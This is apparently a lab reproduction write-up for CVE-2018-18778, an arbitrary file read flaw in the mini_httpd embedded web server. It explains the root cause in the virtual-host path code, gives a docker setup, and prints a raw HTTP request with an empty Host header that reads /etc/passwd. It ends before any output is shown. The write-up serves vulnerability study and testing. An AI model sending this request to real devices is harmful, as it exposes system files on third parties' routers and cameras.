mini_httpd Arbitrary File Read Vulnerability (CVE-2018-18778)

Mini_httpd is a miniature HTTP server that can maintain a certain level of performance (about 90% of Apache) while occupying minimal system resources. Therefore, it is widely used as an embedded server in various IoT devices (routers, switches, cameras, etc.). Manufacturers including Huawei, Zyxel, Hikvision, and Raspberry Pi have adopted the mini_httpd component in their devices.

When mini_httpd runs in virtual host mode, a user request for http://HOST/FILE will access the HOST/FILE file under the current directory.

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

See the code above. Analysis is as follows:

• When HOST=example.com and FILE=index.html, the result of the above statement is example.com/index.html, and the file is read normally.
• When HOST is empty and FILE=etc/passwd, the result of the above statement is /etc/passwd.

The latter is treated as an absolute path, thus reading /etc/passwd, causing an arbitrary file read vulnerability.

Environment Setup

Execute the following command to start mini_httpd 1.29:

docker-compose up -d

After the environment is started, visit http://your-ip:8080 to see the web page.

Vulnerability Reproduction

Send a request with Host set to empty and the PATH value being the absolute path of the file:

GET /etc/passwd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Successfully read the file: